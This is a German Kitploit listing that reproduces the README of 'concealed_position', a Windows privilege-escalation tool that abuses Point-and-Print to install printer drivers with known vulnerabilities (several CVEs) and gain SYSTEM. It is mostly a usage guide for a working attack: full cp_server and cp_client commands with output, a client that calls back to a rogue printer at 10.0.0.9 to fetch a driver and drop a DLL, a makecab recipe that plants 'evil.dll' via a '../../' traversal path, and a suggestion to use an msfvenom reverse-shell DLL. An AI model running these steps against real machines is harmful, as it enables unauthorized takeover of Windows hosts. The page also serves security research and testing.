Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
concealed_position — Tool zur Privilegieneskalation durch einen eigenen Druckertreiber | Kitploit
Tools/GitHubGitHub/jacob-baines/concealed_position
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstests
GitHubjacob-baines/concealed_position

concealed_position

Tool zur Privilegieneskalation durch einen eigenen Druckertreiber

Repository anzeigen
2634445vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Concealed Position

Concealed Position ist ein lokaler Privilegienausweitungsangriff gegen Windows, der das Konzept "Bring Your Own Vulnerability" nutzt. Genauer gesagt verwendet Concealed Position (CP) die wie vorgesehene Point-and-Print-Logik in Windows, die es einem Benutzer mit niedrigen Privilegien erlaubt, Druckertreiber bereitzustellen und zu installieren. CP installiert gezielt Treiber mit bekannten Schwachstellen, die dann ausgenutzt werden, um zu SYSTEM zu eskalieren. Concealed Position wurde erstmals auf der DEF CON 29 vorgestellt.

Welche Exploits sind verfügbar

Concealed Position bietet vier Exploits – alle mit gleichermaßen bescheuerten Namen:

  • ACIDDAMAGE - CVE-2021-35449 - Lexmark Universal Print Driver LPE
  • RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 Print Driver LPE
  • POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 Print Driver LPE
  • SLASHINGDAMAGE - CVE-2020-1300 - Windows Print Spooler LPE

Die Exploits sind praktisch, weil sie – mit Ausnahme von SLASHINGDAMAGE – auch nach dem Patchen der Probleme weiterhin funktionieren. Der einzige Mechanismus, den Windows hat, um Benutzer an der Verwendung alter Treiber zu hindern, ist der Widerruf des Treiberzertifikats – etwas, das historisch gesehen nicht (?) gemacht wird.

Aber welchen Exploit soll ich verwenden?!

Wahrscheinlich ACIDDAMAGE. RADIANTDAMAGE und POISONDAMAGE sind Race Conditions (zum Überschreiben einer DLL) und SLASHINGDAMAGE ist hoffentlich fast überall gepatcht.

Wie funktioniert es?

Concealed Position besteht aus zwei Teilen. Einem bösartigen Drucker und einem Client. Der Client kontaktiert den Server, holt sich einen Treiber, lässt den Treiber im Treiberspeicher ablegen, installiert den Drucker und nutzt den Installationsprozess aus. Einfach! In der MSAPI-Sprache sieht der Angriff ungefähr so aus:

root@kitploit:~
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver

Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage

Stage 3: Add a local printer (exploitation stage)
client: Add printer

Es ist wichtig zu beachten, dass SLASHINGDAMAGE eigentlich nicht so funktioniert. SLASHINGDAMAGE ist eine Implementierung des auf der DEFCON 28 (2020) beschriebenen bösartigen Druckerangriffs und wurde schon vor langer Zeit gepatcht. Ich mag den Angriff einfach (er hat die gesamte weitere Entwicklung ausgelöst) und dachte, ich lasse den Exploit in meinem bösartigen Server – so verwirrend das auch sein mag.

Ist das eine Windows-Sicherheitslücke?

Man kann sagen, ja. Der Treiberspeicher ist eine "vertrauenswürdige Sammlung von ... Drittanbieter-Treiberpaketen", die Administratorzugriff zum Ändern erfordert. Mit GetPrinterDriver kann ein Angreifer mit niedrigen Privilegien beliebige Treiber in den Speicher einstufen. Das überschreitet für mich eine klare Sicherheitsgrenze.

Microsoft schien dem zuzustimmen, als sie CVE-2021-34481 herausgaben.

Obwohl... es ist diskutierbar, dass dies einfach eine Funktion des Systems und überhaupt keine Sicherheitslücke ist. Das spielt letztlich keine so große Rolle. Ein Angreifer kann auf Standard-Windows-Installationen zu SYSTEM eskalieren.

Welche Windows-Versionen sind von CVE-2021-34481 betroffen?

Mindestens Windows 8.1 und höher.

Wie verwende ich diese Werkzeuge?

Einfach! So einfach, dass es viele Absätze zur Beschreibung geben wird!

CP-Server

Schauen wir uns zuerst die Befehlszeilenoptionen von cp_server an:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

CLI options:
  -h, --help                     Display the help message
  -e, --exploit arg              The exploit to use
  -c, --cabs arg (=.\cab_files)  The location of the cabinet files

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE
        SLASHINGDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Oben sehen Sie, dass der Server zwei Optionen benötigt:

  1. Den Exploit, für den der Drucker konfiguriert werden soll
  2. Einen Pfad zu den cab_files dieses Repositories (.\cab_files\ ist der Standard)

Angenommen, wir möchten einen bösartigen Drucker konfigurieren, der den ACIDDAMAGE-Treiber bereitstellt. Einfach so:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Und das war's, Sie sehen einen neuen Drucker auf Ihrem System:

root@kitploit:~
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer

Name                           ComputerName    Type         DriverName                PortName        Shared   Publishe
                                                                                                               d
----                           ------------    ----         ----------                --------        ------   --------
ACIDDAMAGE                                     Local        Lexmark Universal v2      LPT1:           True     False
CutePDF Writer                                 Local        CutePDF Writer v4.0       CPW4:           False    False
OneNote for Windows 10                         Local        Microsoft Software Pri... Microsoft.Of... False    False
Microsoft XPS Document Writer                  Local        Microsoft XPS Document... PORTPROMPT:     False    False
Microsoft Print to PDF                         Local        Microsoft Print To PDF    PORTPROMPT:     False    False
Fax                                            Local        Microsoft Shared Fax D... SHRFAX:         False    False


PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Beachten Sie, dass es einen manuellen Schritt gibt, den cp_server von Ihnen verlangt. Da ich ein miserabler Hacker bin, habe ich nicht herausgefunden, wie man programmatisch die 'Erweiterten Freigabeeinstellungen' -> 'Kennwortgeschütztes Freigeben deaktivieren' setzen kann. Das müssen Sie selbst erledigen!

Der Prozess zur Verwendung von SLASHINGDAMAGE ist etwas anders. Sie müssen zuerst CutePDF Writer installieren (die Installationsprogramme finden Sie im Verzeichnis '3rd party'). Führen Sie dann cp_server aus und dann müssen Sie noch ein paar manuelle Schritte ausführen und neu starten.

CP-Client

Der Client ist ähnlich einfach zu bedienen. Schauen wir uns seine Befehlszeilenoptionen an:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

CLI options:
  -h, --help         Display the help message
  -r, --rhost arg    The remote evil printer address
  -n, --name arg     The remote evil printer name
  -e, --exploit arg  The exploit to use
  -l, --local        No remote printer. Local attack only.
  -d, --dll arg      Path to user provided DLL to execute.

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE

Zunächst möchte ich auf die Option --dll eingehen. Der Client hat eine eingebettete Nutzlast, die einfach die Datei C:\result.txt schreibt. Benutzer können jedoch über diese Option ihre eigene DLL bereitstellen. Ein gutes Beispiel für etwas, das Sie verwenden möchten, ist eine x64-Reverse-Shell, die von msfvenom erstellt wurde. Aber für den Rest gehen wir einfach von der eingebetteten Nutzlast aus.

cp_client hat zwei Modi: remote und local. Die Remote-Option ist die interessanteste, da sie den verwundbaren Treiber zum Treiberspeicher hinzufügt (und damit die 'Bring Your Own Print Driver'-Sicherheitslücke ausführt). Wir gehen also zuerst darauf ein. Angenommen, ich möchte mich mit dem zuvor konfigurierten bösartigen ACIDDAMAGE-Drucker verbinden. Ich muss nur angeben:

  1. Den Exploit, den ich verwenden möchte
  2. Die IP-Adresse des bösartigen Druckers
  3. Den Namen des bösartigen freigegebenen Druckers

So!

root@kitploit:~
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!

Das war's! Um einen rein lokalen Angriff auszuführen, müssen Sie nur den Exploit angeben:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Warum hat der Client keine SLASHINGDAMAGE-Option?

SLASHINGDAMAGE benötigt keinen speziellen Client für die Ausnutzung. Sie können einfach die Benutzeroberfläche oder die Befehlszeile verwenden, um eine Verbindung zum entfernten Drucker herzustellen, und das war's! Leider müssen Sie, wenn Sie eine benutzerdefinierte Nutzlast erstellen möchten, die CAB-Datei im cab_files-Verzeichnis aktualisieren. Aber das ist einfach. Ungefähr so:

root@kitploit:~
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab

Es ist wahrscheinlich wichtig zu wissen, dass die Version von SLASHINGDAMAGE im Repo ualapi.dll in SYSTEM32 ablegt und bei Ausführung nach einem Neustart die Datei C:\result.txt ablegt.

Pull Requests und Fehler

Möchten Sie einen Pull-Request einreichen oder einen Fehler melden? Großartig! Ich schätze das, aber wenn Sie nicht genügend Details zur Reproduktion eines Fehlers angeben oder erklären, warum ein Pull-Request angenommen werden sollte, dann schließe ich Ihr Issue mit 100%iger Wahrscheinlichkeit ohne Kommentar. Ich schätze Sie, aber ich bin auch ziemlich beschäftigt.

Sonstiges

Eine Sache, die zu beachten ist: Die inject_me.dll ist tatsächlich als C-Array in den cp_client eingebettet. Wenn Sie inject_me aktualisieren, müssen Sie auch das C-Array manuell aktualisieren (verwenden Sie einfach xxd, um das Array zu generieren).

Tool herunterladen